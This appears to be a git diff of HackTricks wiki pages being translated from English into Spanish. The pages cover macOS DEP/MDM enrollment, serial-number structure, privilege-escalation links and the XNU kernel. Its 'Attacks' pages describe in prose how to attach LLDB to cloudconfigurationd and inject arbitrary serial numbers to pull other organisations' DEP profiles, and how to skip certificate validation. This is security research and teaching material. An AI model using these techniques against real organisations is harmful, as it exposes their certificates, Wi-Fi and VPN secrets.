1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` 1. POST a [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) enviando los datos `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. The JSON payload is encrypted using Absinthe (**`NACSign`**) 2. La carga útil JSON está cifrada usando Absinthe (**`NACSign`**)
3. All requests over HTTPs, built-in root certificates are used 3. Todas las solicitudes a través de HTTPs, se utilizan certificados raíz incorporados
![](<../../../images/image (566) (1).png>) ![](<../../../images/image (566) (1).png>)
The response is a JSON dictionary with some important data like: La respuesta es un diccionario JSON con algunos datos importantes como:
- **url**: URL of the MDM vendor host for the activation profile - **url**: URL del host del proveedor de MDM para el perfil de activación
- **anchor-certs**: Array of DER certificates used as trusted anchors - **anchor-certs**: Array de certificados DER utilizados como anclas de confianza
### **Step 5: Profile Retrieval** ### **Paso 5: Recuperación del Perfil**
![](<../../../images/image (444).png>) ![](<../../../images/image (444).png>)
- Request sent to **url provided in DEP profile**. - Solicitud enviada a **la URL proporcionada en el perfil DEP**.
- **Anchor certificates** are used to **evaluate trust** if provided. - **Certificados ancla** se utilizan para **evaluar la confianza** si se proporcionan.
- Reminder: the **anchor_certs** property of the DEP profile - Recordatorio: la propiedad **anchor_certs** del perfil DEP
- **Request is a simple .plist** with device identification - **La solicitud es un simple .plist** con identificación del dispositivo
- Examples: **UDID, OS version**. - Ejemplos: **UDID, versión del SO**.
- CMS-signed, DER-encoded - Firmado por CMS, codificado en DER
- Signed using the **device identity certificate (from APNS)** - Firmado usando el **certificado de identidad del dispositivo (de APNS)**
- **Certificate chain** includes expired **Apple iPhone Device CA** - **La cadena de certificados** incluye un **Apple iPhone Device CA** expirado
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) ![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Step 6: Profile Installation ### Paso 6: Instalación del Perfil
- Once retrieved, **profile is stored on the system** - Una vez recuperado, **el perfil se almacena en el sistema**
- This step begins automatically (if in **setup assistant**) - Este paso comienza automáticamente (si está en **asistente de configuración**)
- Driven by **`CPInstallActivationProfile`** - Impulsado por **`CPInstallActivationProfile`**
- Implemented by mdmclient over XPC - Implementado por mdmclient a través de XPC
- LaunchDaemon (as root) or LaunchAgent (as user), depending on context - LaunchDaemon (como root) o LaunchAgent (como usuario), dependiendo del contexto
- Configuration profiles have multiple payloads to install - Los perfiles de configuración tienen múltiples cargas útiles para instalar
- Framework has a plugin-based architecture for installing profiles - El marco tiene una arquitectura basada en plugins para instalar perfiles
- Each payload type is associated with a plugin - Cada tipo de carga útil está asociado con un plugin
- Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) - Puede ser XPC (en el marco) o Cocoa clásica (en ManagedClient.app)
- Example: - Ejemplo:
- Certificate Payloads use CertificateService.xpc - Las cargas útiles de certificados utilizan CertificateService.xpc
Typically, **activation profile** provided by an MDM vendor will **include the following payloads**: Típicamente, el **perfil de activación** proporcionado por un proveedor de MDM incluirá **las siguientes cargas útiles**:
- `com.apple.mdm`: to **enroll** the device in MDM - `com.apple.mdm`: para **inscribir** el dispositivo en MDM
- `com.apple.security.scep`: to securely provide a **client certificate** to the device. - `com.apple.security.scep`: para proporcionar de forma segura un **certificado de cliente** al dispositivo.
- `com.apple.security.pem`: to **install trusted CA certificates** to the devices System Keychain. - `com.apple.security.pem`: para **instalar certificados CA de confianza** en el llavero del sistema del dispositivo.
- Installing the MDM payload equivalent to **MDM check-in in the documentation** - La instalación de la carga útil de MDM es equivalente a **MDM check-in en la documentación**
- Payload **contains key properties**: - La carga útil **contiene propiedades clave**:
- - MDM Check-In URL (**`CheckInURL`**) - - URL de Check-In de MDM (**`CheckInURL`**)
- MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it - URL de Polling de Comandos de MDM (**`ServerURL`**) + tema de APNs para activarlo
- To install MDM payload, request is sent to **`CheckInURL`** - Para instalar la carga útil de MDM, se envía una solicitud a **`CheckInURL`**
- Implemented in **`mdmclient`** - Implementado en **`mdmclient`**
- MDM payload can depend on other payloads - La carga útil de MDM puede depender de otras cargas útiles
- Allows **requests to be pinned to specific certificates**: - Permite **que las solicitudes se fijen a certificados específicos**:
- Property: **`CheckInURLPinningCertificateUUIDs`** - Propiedad: **`CheckInURLPinningCertificateUUIDs`**
- Property: **`ServerURLPinningCertificateUUIDs`** - Propiedad: **`ServerURLPinningCertificateUUIDs`**
- Delivered via PEM payload - Entregado a través de la carga útil PEM
- Allows device to be attributed with an identity certificate: - Permite que el dispositivo se atribuya un certificado de identidad:
- Property: IdentityCertificateUUID - Propiedad: IdentityCertificateUUID
- Delivered via SCEP payload - Entregado a través de la carga útil SCEP
### **Step 7: Listening for MDM commands** ### **Paso 7: Escuchando comandos MDM**
- After MDM check-in is complete, vendor can **issue push notifications using APNs** - Después de que se complete el registro en MDM, el proveedor puede **emitir notificaciones push usando APNs**
- Upon receipt, handled by **`mdmclient`** - Al recibirlas, son manejadas por **`mdmclient`**
- To poll for MDM commands, request is sent to ServerURL - Para consultar comandos MDM, se envía una solicitud a ServerURL
- Makes use of previously installed MDM payload: - Utiliza la carga útil de MDM previamente instalada:
- **`ServerURLPinningCertificateUUIDs`** for pinning request - **`ServerURLPinningCertificateUUIDs`** para fijar la solicitud
- **`IdentityCertificateUUID`** for TLS client certificate - **`IdentityCertificateUUID`** para el certificado de cliente TLS
## Attacks ## Ataques
### Enrolling Devices in Other Organisations ### Inscripción de Dispositivos en Otras Organizaciones
As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Como se comentó anteriormente, para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie que pertenezca a esa Organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: Por lo tanto, este podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está correctamente protegido:
{{#ref}} {{#ref}}
enrolling-devices-in-other-organisations.md enrolling-devices-in-other-organisations.md

View File

@ -1,53 +1,53 @@
# Enrolling Devices in Other Organisations # Inscripción de Dispositivos en Otras Organizaciones
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Intro ## Introducción
As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ Como [**se comentó anteriormente**](./#what-is-mdm-mobile-device-management)**,** para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie que pertenezca a esa Organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. Por lo tanto, este podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está correctamente protegido.
**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!** **A continuación se presenta un resumen de la investigación [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). ¡Consúltalo para más detalles técnicos!**
## Overview of DEP and MDM Binary Analysis ## Visión General del Análisis Binario de DEP y MDM
This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include: Esta investigación profundiza en los binarios asociados con el Programa de Inscripción de Dispositivos (DEP) y la Gestión de Dispositivos Móviles (MDM) en macOS. Los componentes clave incluyen:
- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. - **`mdmclient`**: Se comunica con los servidores MDM y activa los registros de DEP en versiones de macOS anteriores a 10.13.4.
- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. - **`profiles`**: Gestiona los Perfiles de Configuración y activa los registros de DEP en versiones de macOS 10.13.4 y posteriores.
- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. - **`cloudconfigurationd`**: Gestiona las comunicaciones de la API de DEP y recupera los perfiles de Inscripción de Dispositivos.
DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. Los registros de DEP utilizan las funciones `CPFetchActivationRecord` y `CPGetActivationRecord` del marco privado de Perfiles de Configuración para obtener el Registro de Activación, siendo `CPFetchActivationRecord` el que coordina con `cloudconfigurationd` a través de XPC.
## Tesla Protocol and Absinthe Scheme Reverse Engineering ## Ingeniería Inversa del Protocolo Tesla y Esquema Absinthe
The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. El registro de DEP implica que `cloudconfigurationd` envíe una carga útil JSON cifrada y firmada a _iprofiles.apple.com/macProfile_. La carga útil incluye el número de serie del dispositivo y la acción "RequestProfileConfiguration". El esquema de cifrado utilizado se conoce internamente como "Absinthe". Desentrañar este esquema es complejo e implica numerosos pasos, lo que llevó a explorar métodos alternativos para insertar números de serie arbitrarios en la solicitud del Registro de Activación.
## Proxying DEP Requests ## Interceptando Solicitudes de DEP
Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. Los intentos de interceptar y modificar solicitudes de DEP a _iprofiles.apple.com_ utilizando herramientas como Charles Proxy se vieron obstaculizados por el cifrado de la carga útil y las medidas de seguridad SSL/TLS. Sin embargo, habilitar la configuración `MCCloudConfigAcceptAnyHTTPSCertificate` permite eludir la validación del certificado del servidor, aunque la naturaleza cifrada de la carga útil aún impide la modificación del número de serie sin la clave de descifrado.
## Instrumenting System Binaries Interacting with DEP ## Instrumentando Binarios del Sistema que Interactúan con DEP
Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. Instrumentar binarios del sistema como `cloudconfigurationd` requiere deshabilitar la Protección de Integridad del Sistema (SIP) en macOS. Con SIP deshabilitado, se pueden utilizar herramientas como LLDB para adjuntarse a procesos del sistema y potencialmente modificar el número de serie utilizado en las interacciones de la API de DEP. Este método es preferible ya que evita las complejidades de los derechos y la firma de código.
**Exploiting Binary Instrumentation:** **Explotando la Instrumentación Binaria:**
Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: Modificar la carga útil de la solicitud de DEP antes de la serialización JSON en `cloudconfigurationd` resultó efectivo. El proceso involucró:
1. Attaching LLDB to `cloudconfigurationd`. 1. Adjuntar LLDB a `cloudconfigurationd`.
2. Locating the point where the system serial number is fetched. 2. Localizar el punto donde se obtiene el número de serie del sistema.
3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. 3. Inyectar un número de serie arbitrario en la memoria antes de que la carga útil sea cifrada y enviada.
This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability. Este método permitió recuperar perfiles completos de DEP para números de serie arbitrarios, demostrando una posible vulnerabilidad.
### Automating Instrumentation with Python ### Automatizando la Instrumentación con Python
The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles. El proceso de explotación se automatizó utilizando Python con la API de LLDB, lo que hizo factible inyectar programáticamente números de serie arbitrarios y recuperar los perfiles de DEP correspondientes.
### Potential Impacts of DEP and MDM Vulnerabilities ### Impactos Potenciales de las Vulnerabilidades de DEP y MDM
The research highlighted significant security concerns: La investigación destacó preocupaciones de seguridad significativas:
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved. 1. **Divulgación de Información**: Al proporcionar un número de serie registrado en DEP, se puede recuperar información organizacional sensible contenida en el perfil de DEP.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,39 +2,39 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information: Los dispositivos de Apple posteriores a 2010 tienen números de serie que constan de **12 caracteres alfanuméricos**, cada segmento transmite información específica:
- **First 3 Characters**: Indicate the **manufacturing location**. - **Primeros 3 Caracteres**: Indican la **ubicación de fabricación**.
- **Characters 4 & 5**: Denote the **year and week of manufacture**. - **Caracteres 4 y 5**: Denotan el **año y la semana de fabricación**.
- **Characters 6 to 8**: Serve as a **unique identifier** for each device. - **Caracteres 6 a 8**: Sirven como un **identificador único** para cada dispositivo.
- **Last 4 Characters**: Specify the **model number**. - **Últimos 4 Caracteres**: Especifican el **número de modelo**.
For instance, the serial number **C02L13ECF8J2** follows this structure. Por ejemplo, el número de serie **C02L13ECF8J2** sigue esta estructura.
### **Manufacturing Locations (First 3 Characters)** ### **Ubicaciones de Fabricación (Primeros 3 Caracteres)**
Certain codes represent specific factories: Ciertos códigos representan fábricas específicas:
- **FC, F, XA/XB/QP/G8**: Various locations in the USA. - **FC, F, XA/XB/QP/G8**: Varias ubicaciones en EE. UU.
- **RN**: Mexico. - **RN**: México.
- **CK**: Cork, Ireland. - **CK**: Cork, Irlanda.
- **VM**: Foxconn, Czech Republic. - **VM**: Foxconn, República Checa.
- **SG/E**: Singapore. - **SG/E**: Singapur.
- **MB**: Malaysia. - **MB**: Malasia.
- **PT/CY**: Korea. - **PT/CY**: Corea.
- **EE/QT/UV**: Taiwan. - **EE/QT/UV**: Taiwán.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China. - **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Diferentes ubicaciones en China.
- **C0, C3, C7**: Specific cities in China. - **C0, C3, C7**: Ciudades específicas en China.
- **RM**: Refurbished devices. - **RM**: Dispositivos reacondicionados.
### **Year of Manufacturing (4th Character)** ### **Año de Fabricación (4to Carácter)**
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods. Este carácter varía de 'C' (representando la primera mitad de 2010) a 'Z' (segunda mitad de 2019), con diferentes letras que indican diferentes períodos de medio año.
### **Week of Manufacturing (5th Character)** ### **Semana de Fabricación (5to Carácter)**
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number. Los dígitos 1-9 corresponden a las semanas 1-9. Las letras C-Y (excluyendo vocales y 'S') representan las semanas 10-27. Para la segunda mitad del año, se añade 26 a este número.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,33 +1,18 @@
# macOS Security & Privilege Escalation # Seguridad de macOS y Escalación de Privilegios
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure> ## MacOS Básico
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! Si no estás familiarizado con macOS, deberías comenzar a aprender los conceptos básicos de macOS:
**Hacking Insights**\ - Archivos y **permisos especiales de macOS:**
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic MacOS
If you are not familiar with macOS, you should start learning the basics of macOS:
- Special macOS **files & permissions:**
{{#ref}} {{#ref}}
macos-files-folders-and-binaries/ macos-files-folders-and-binaries/
{{#endref}} {{#endref}}
- Common macOS **users** - **Usuarios comunes de macOS**
{{#ref}} {{#ref}}
macos-users.md macos-users.md
@ -39,92 +24,92 @@ macos-users.md
macos-applefs.md macos-applefs.md
{{#endref}} {{#endref}}
- The **architecture** of the k**ernel** - La **arquitectura** del k**ernel**
{{#ref}} {{#ref}}
mac-os-architecture/ mac-os-architecture/
{{#endref}} {{#endref}}
- Common macOS n**etwork services & protocols** - Servicios y **protocolos de red comunes de macOS**
{{#ref}} {{#ref}}
macos-protocols.md macos-protocols.md
{{#endref}} {{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) - **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) - Para descargar un `tar.gz`, cambia una URL como [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) a [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM ### MDM de MacOS
In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**: En las empresas, los sistemas **macOS** probablemente serán **gestionados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona eso**:
{{#ref}} {{#ref}}
../macos-red-teaming/macos-mdm/ ../macos-red-teaming/macos-mdm/
{{#endref}} {{#endref}}
### MacOS - Inspecting, Debugging and Fuzzing ### MacOS - Inspección, Depuración y Fuzzing
{{#ref}} {{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/ macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}} {{#endref}}
## MacOS Security Protections ## Protecciones de Seguridad de MacOS
{{#ref}} {{#ref}}
macos-security-protections/ macos-security-protections/
{{#endref}} {{#endref}}
## Attack Surface ## Superficie de Ataque
### File Permissions ### Permisos de Archivos
If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\ Si un **proceso que se ejecuta como root escribe** un archivo que puede ser controlado por un usuario, el usuario podría abusar de esto para **escalar privilegios**.\
This could occur in the following situations: Esto podría ocurrir en las siguientes situaciones:
- File used was already created by a user (owned by the user) - El archivo utilizado ya fue creado por un usuario (pertenece al usuario)
- File used is writable by the user because of a group - El archivo utilizado es escribible por el usuario debido a un grupo
- File used is inside a directory owned by the user (the user could create the file) - El archivo utilizado está dentro de un directorio propiedad del usuario (el usuario podría crear el archivo)
- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file) - El archivo utilizado está dentro de un directorio propiedad de root, pero el usuario tiene acceso de escritura sobre él debido a un grupo (el usuario podría crear el archivo)
Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place. Poder **crear un archivo** que va a ser **utilizado por root**, permite a un usuario **aprovechar su contenido** o incluso crear **symlinks/hardlinks** para apuntar a otro lugar.
For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**: Para este tipo de vulnerabilidades, no olvides **verificar instaladores `.pkg` vulnerables**:
{{#ref}} {{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}} {{#endref}}
### File Extension & URL scheme app handlers ### Manejadores de Aplicaciones de Extensión de Archivo y Esquema de URL
Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos.
{{#ref}} {{#ref}}
macos-file-extension-apps.md macos-file-extension-apps.md
{{#endref}} {{#endref}}
## macOS TCC / SIP Privilege Escalation ## Escalación de Privilegios TCC / SIP de macOS
In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others. En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que les otorgan más privilegios que a otros.
Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs). Por lo tanto, un atacante que quiera comprometer con éxito una máquina macOS necesitará **escalar sus privilegios TCC** (o incluso **eludir SIP**, dependiendo de sus necesidades).
These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**. Estos privilegios generalmente se otorgan en forma de **derechos** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y, después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**.
Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses). Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Traditional Privilege Escalation ## Escalación de Privilegios Tradicional de macOS
Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints: Por supuesto, desde la perspectiva de un equipo rojo, también deberías estar interesado en escalar a root. Consulta la siguiente publicación para algunos consejos:
{{#ref}} {{#ref}}
macos-privilege-escalation.md macos-privilege-escalation.md
{{#endref}} {{#endref}}
## macOS Compliance ## Cumplimiento de macOS
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security) - [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
## References ## Referencias
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
@ -132,19 +117,4 @@ macos-privilege-escalation.md
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) - [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,69 +1,69 @@
# macOS Kernel & System Extensions # Kernel de macOS y Extensiones del Sistema
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## XNU Kernel ## Kernel XNU
The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. El **núcleo de macOS es XNU**, que significa "X no es Unix". Este núcleo está fundamentalmente compuesto por el **microkernel Mach** (que se discutirá más adelante) **y** elementos de Berkeley Software Distribution (**BSD**). XNU también proporciona una plataforma para **controladores de núcleo a través de un sistema llamado I/O Kit**. El núcleo XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es accesible de forma gratuita**.
From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. Desde la perspectiva de un investigador de seguridad o un desarrollador de Unix, **macOS** puede parecer bastante **similar** a un sistema **FreeBSD** con una GUI elegante y una serie de aplicaciones personalizadas. La mayoría de las aplicaciones desarrolladas para BSD se compilarán y ejecutarán en macOS sin necesidad de modificaciones, ya que las herramientas de línea de comandos familiares para los usuarios de Unix están presentes en macOS. Sin embargo, debido a que el núcleo XNU incorpora Mach, hay algunas diferencias significativas entre un sistema tradicional similar a Unix y macOS, y estas diferencias pueden causar problemas potenciales o proporcionar ventajas únicas.
Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) Versión de código abierto de XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach ### Mach
Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. Mach es un **microkernel** diseñado para ser **compatible con UNIX**. Uno de sus principios de diseño clave fue **minimizar** la cantidad de **código** que se ejecuta en el **espacio del núcleo** y, en su lugar, permitir que muchas funciones típicas del núcleo, como el sistema de archivos, la red y la E/S, **se ejecuten como tareas a nivel de usuario**.
In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. En XNU, Mach es **responsable de muchas de las operaciones críticas de bajo nivel** que un núcleo maneja típicamente, como la programación de procesadores, la multitarea y la gestión de memoria virtual.
### BSD ### BSD
The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: El **núcleo** XNU también **incorpora** una cantidad significativa de código derivado del proyecto **FreeBSD**. Este código **se ejecuta como parte del núcleo junto con Mach**, en el mismo espacio de direcciones. Sin embargo, el código de FreeBSD dentro de XNU puede diferir sustancialmente del código original de FreeBSD porque se requirieron modificaciones para garantizar su compatibilidad con Mach. FreeBSD contribuye a muchas operaciones del núcleo, incluyendo:
- Process management - Gestión de procesos
- Signal handling - Manejo de señales
- Basic security mechanisms, including user and group management - Mecanismos de seguridad básicos, incluyendo gestión de usuarios y grupos
- System call infrastructure - Infraestructura de llamadas al sistema
- TCP/IP stack and sockets - Pila TCP/IP y sockets
- Firewall and packet filtering - Cortafuegos y filtrado de paquetes
Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. Entender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad fundamental de ejecución, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código de BSD dentro del núcleo utiliza funciones de Mach para crear una tarea y una estructura de hilo.
